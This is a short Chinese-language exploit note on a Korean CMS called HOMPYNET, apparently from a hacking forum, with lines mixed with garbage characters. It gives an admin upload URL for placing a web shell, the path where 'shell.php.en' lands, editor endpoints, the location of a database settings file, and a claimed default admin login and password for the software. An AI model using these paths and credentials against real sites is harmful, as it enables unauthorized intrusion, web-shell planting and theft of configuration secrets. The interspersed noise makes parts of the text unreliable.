韩国HOMPYNET CMS漏洞

admin

上传漏洞  :

; e) }) F* x+ {2 t$ C- \, k) }/ whttp://www.xxx.com/admin/image_a ... p;iname=&iform=
" O/ G1 N3 i( c, W; t% n- N5 y$ d
+ G$ h0 Z( E/ g0 {4 Chttp://www.xxx.com/admin/image_a ... p;iname=&iform=

- P4 J# G7 E5 s$ ?" e上传后路径：

http://www.xxx.com/bis_web_page/images/shell.php.en
. ^& z" i' W( \; S( f% r; {% e
, i) W) G* t8 ~$ U. s" ~9 u编辑器：
  n4 i- a- t! {
/ s3 e1 i/ B' N  ]$ J3 O: @4 Thttp://www.xxx.com/admin/editor/SWE.php

http://www.xxx.com/program/editor/SWE.php

& N2 e$ c7 s& a) U/ n1 z数据配置文件路径：

* Y. C; M  d  ?' r) P2 ?. qhttp://www.xxx.com/m_config/DATA/g_setting.php
5 A8 E9 k2 v7 h3 e
此程序通用后台账号 ：gamsiw  php99

$ y( [1 t8 k, E; J1 P7 K' J! r​